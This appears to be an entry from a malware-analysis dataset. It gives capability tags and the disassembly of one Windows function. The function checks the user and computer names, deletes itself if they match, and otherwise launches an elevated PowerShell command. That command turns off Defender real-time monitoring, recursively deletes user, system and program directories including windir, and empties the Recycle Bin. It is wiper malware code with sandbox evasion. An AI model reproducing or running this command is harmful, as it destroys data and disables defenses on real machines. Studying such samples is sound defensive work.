Function at 0x140001c80
Capabilities:
Create process on windows
Delete file
Get hostname
Get session user name

Disassembly:
push rbp
lea rbp, [rsp - 0x3f0]
sub rsp, 0x4f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov dword [rbp - 0x70], 0x101
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x140001d42
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x68]
call fcn.140001f20
nop
lea rcx, [rbp - 0x68]
call fcn.1400011c0
test al, al
je 0x140001d02
mov r8d, 0x104
lea rdx, [rbp + 0x1d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
jmp 0x140001d96
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x140001d42
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001e12
call fcn.1400021ac
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x140001e1e
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x68]
call fcn.140001f20
nop
lea rcx, [rbp - 0x68]
call fcn.140001800
test al, al
je 0x140001ddb
mov r8d, 0x104
lea rdx, [rbp + 0x1d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x140001e87
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140001dd1
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001e12
call fcn.1400021ac
jmp 0x140001e87
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x140001e1e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e19
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400021ac
mov dword [rsp + 0x20], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x24], xmm0
movups xmmword [rsp + 0x34], xmm0
movups xmmword [rsp + 0x44], xmm0
movups xmmword [rsp + 0x54], xmm0
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
mov qword [rbp - 0x7c], rax
mov dword [rbp - 0x74], eax
lea rax, str.runas
mov qword [rsp + 0x30], rax
lea rax, str.powershell.exe
mov qword [rsp + 0x38], rax
lea rax, str.powershell__Command__Set_MpPreference__DisableRealtimeMonitoring__true__Remove_Item__Path__Env:APPDATA__Force__Recurse__Remove_Item__Path__Env:LOCALAPPDATA__Force__Recurse__Remove_Item__Path__Env:TEMP__Force__Recurse__Remove_Item__Path__Env:USERPROFILE__Force__Recurse__Remove_Item__Path__Env:SYSTEMROOT__Force__Recurse__Remove_Item__Path__Env:PROGRAMFILES__Force__Recurse__Remove_Item__Path__Env:PROGRAMFILES_X86___Force__Recurse__Remove_Item__Path__Env:windir__Force__Recurse__Remove_Item__Path__Env:USERPROFILEDesktop__Force__Recurse__Remove_Item__Path__Env:USERPROFILEDownloads__Force__Recurse__Clear_RecycleBin__Force_
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x50], 0
lea rcx, [rsp + 0x20]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
xor eax, eax
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.140002080
add rsp, 0x4f0
pop rbp
ret